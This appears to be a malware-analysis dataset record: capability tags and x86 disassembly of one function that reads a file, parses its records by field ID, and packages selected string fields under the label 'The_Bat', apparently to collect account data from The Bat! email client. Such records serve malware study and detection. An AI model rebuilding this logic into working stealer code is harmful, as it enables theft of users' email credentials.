Function at 0x410522
Capabilities:
Get file size
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41dc5d
push eax
mov dword fs:[0], esp
sub esp, 0x4a0
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [ebp + 0xc], ebx
je 0x410b0a
push ebx
push dword [ebp + 0xc]
call fcn.004047b2
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x410b0a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push 4
mov dword [esp + 0x14], esi
pop edi
cmp esi, ebx
jl 0x4105cf
cmp esi, 0x6400000
jg 0x4105cf
cmp esi, ebx
jne 0x410590
mov dword [esp + 0x10], 1
add dword [esp + 0x10], edi
cmp dword [0x42ca0c], ebx
jne 0x4105a5
call fcn.00405c10
cmp al, bl
je 0x4105cf
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [esp + 0x10]
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x4105c9
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x10], eax
jmp 0x4105d3
mov dword [esp + 0x10], ebx
push esi
push dword [esp + 0x14]
push dword [esp + 0x1c]
call fcn.00404842
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, ecx
imul edx, edx, 0xd
lea edx, [edx + eax + 4]
mov dword [esp + 0xa0], ecx
mov dword [esp + 0xa4], edx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x14], ebx
cmp ecx, ebx
jle 0x410ac2
lea edx, [eax + 5]
mov dword [esp + 0x58], edx
cmp byte [edx - 1], bl
jne 0x4107ae
mov ecx, dword [edx]
xor eax, eax
cmp ecx, dword [eax*8 + 0x421400]
je 0x410653
inc eax
cmp eax, 8
jb 0x410644
cmp eax, 8
jae 0x4107ae
mov ecx, dword [edx + 4]
mov edx, dword [esp + 0xa4]
lea ecx, [ecx + edx + 8]
mov dword [esp + 0x54], ecx
mov byte [esp + 0xa8], bl
cmp byte [eax*8 + 0x421404], bl
je 0x41069d
lea eax, [esp + 0xa8]
push eax
push ecx
call fcn.004102fe
pop ecx
pop ecx
test al, al
je 0x41069d
lea eax, [esp + 0xa8]
mov dword [esp + 0x54], eax
push dword [esp + 0x54]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + eax]
mov dword [esp + 0x98], eax
mov dword [esp + 0xc], esi
cmp esi, 0x6400000
ja 0x410709
cmp esi, ebx
jne 0x4106c9
mov dword [esp + 0xc], 1
add dword [esp + 0xc], edi
cmp dword [0x42ca0c], ebx
jne 0x4106e2
call fcn.00405c10
cmp al, bl
je 0x4107ae
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [esp + 0xc]
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
je 0x4105c2
mov dword [esp + 0xc], eax
jmp 0x41070d
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], ebx
je 0x4107ae
mov eax, dword [esp + 0xc]
mov ecx, esi
cmp esi, ebx
je 0x410727
mov byte [eax], bl
inc eax
dec ecx
jne 0x410721
push esi
push dword [esp + 0x10]
push dword [esp + 0xa0]
push dword [esp + 0x60]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x4107ae
mov eax, dword [esp + 0x58]
mov eax, dword [eax]
sub eax, 0x8179
je 0x4107a6
sub eax, 0x1b
je 0x41079c
dec eax
je 0x410792
sub eax, 9
je 0x410788
sub eax, 8
je 0x41077e
dec eax
je 0x410774
sub eax, 0x16
jne 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x48], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x38], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x44], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x4c], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x40], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x50], eax
jmp 0x4107ae
mov eax, dword [esp + 0xc]
mov dword [esp + 0x3c], eax
inc dword [esp + 0x14]
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x14]
add edx, 0xd
mov dword [esp + 0x58], edx
cmp eax, dword [esp + 0xa0]
jl 0x410637
cmp dword [esp + 0x40], ebx
je 0x41093f
cmp dword [esp + 0x4c], ebx
je 0x41093f
cmp dword [esp + 0x48], ebx
jne 0x4107f2
cmp dword [esp + 0x50], ebx
je 0x41093f
lea esi, [esp + 0x28]
call fcn.00405d11
mov dword [esp + 0x4b4], ebx
push ebx
lea eax, [esp + 0x68]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x6c], 0x77010101
call fcn.004060be
push str.The_Bat
mov eax, esi
push eax
call fcn.004025f0
push dword [esp + 0x4c]
mov eax, esi
push eax
call fcn.004025f0
push 0x421af4
mov eax, esi
push eax
call fcn.004025f0
push dword [esp + 0x40]
mov eax, esi
push eax
call fcn.004025f0
push dword [esp + 0x48]
mov eax, esi
push eax
call fcn.004025f0
push ebx
lea eax, [esp + 0x60]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x64], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x70]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x74], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x90]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x94], ebx
call fcn.004060be
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [esp + 0x74], eax
push ebx
lea eax, [esp + 0x78]
push eax
mov eax, edi
mov ecx, esi
call fcn.004060be
push ebx
lea eax, [esp + 0xa0]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0xa4], 3
call fcn.004060be
push ebx
lea eax, [esp + 0x80]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x84], ebx
call fcn.004060be
push dword [esp + 0x50]
mov eax, esi
push eax
call fcn.004025f0
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x94], eax
lea eax, [esp + 0x94]
push eax
mov eax, esi
call fcn.00406173
push dword [esp + 0x2c]
mov esi, dword [ebp + 8]
push ebx
push 0x64
push esi
call fcn.00403aef
push eax
push 0xff0f8211
push dword [esp + 0x40]
push dword [esp + 0x40]
call fcn.0040242d
or dword [esp + 0x4b4], 0xffffffff
lea esi, [esp + 0x28]
call fcn.00405f2c
cmp dword [esp + 0x38], ebx
je 0x410ac2
cmp dword [esp + 0x3c], ebx
je 0x410ac2
cmp dword [esp + 0x44], ebx
je 0x410ac2
lea esi, [esp + 0x18]
call fcn.00405d11
mov dword [esp + 0x4b4], 1
push ebx
lea eax, [esp + 0x88]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x8c], 0x77010101
call fcn.004060be
push str.The_Bat
mov eax, esi
push eax
call fcn.004025f0
push dword [esp + 0x3c]
mov eax, esi
push eax
call fcn.004025f0
mov esi, 0x421af4
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.004025f0
push dword [esp + 0x38]
lea eax, [esp + 0x1c]
push eax
call fcn.004025f0
push dword [esp + 0x44]
lea eax, [esp + 0x1c]
push eax
call fcn.004025f0
push ebx
lea eax, [esp + 0x64]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x68], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x6c]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x70], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x74]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x78], ebx
call fcn.004060be
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [esp + 0x78], eax
push ebx
lea eax, [esp + 0x7c]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
call fcn.004060be
push ebx
lea eax, [esp + 0x84]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x88], 3
call fcn.004060be
push ebx
lea eax, [esp + 0x8c]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x90], ebx
call fcn.004060be
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.004025f0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x90], eax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x1c]
call fcn.00406173
push dword [esp + 0x1c]
mov esi, dword [ebp + 8]
push ebx
push 0x64
push esi
call fcn.00403aef
push eax
push 0xff0f8211
push dword [esp + 0x30]
push dword [esp + 0x30]
call fcn.0040242d
or dword [esp + 0x4b4], 0xffffffff
lea esi, [esp + 0x18]
call fcn.00405f2c
push dword [esp + 0x40]
call fcn.00405c44
push dword [esp + 0x48]
call fcn.00405c44
push dword [esp + 0x50]
call fcn.00405c44
push dword [esp + 0x4c]
call fcn.00405c44
push dword [esp + 0x38]
call fcn.00405c44
push dword [esp + 0x44]
call fcn.00405c44
push dword [esp + 0x3c]
call fcn.00405c44
push dword [esp + 0x10]
call fcn.00405c44
mov ecx, dword [esp + 0x4ac]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret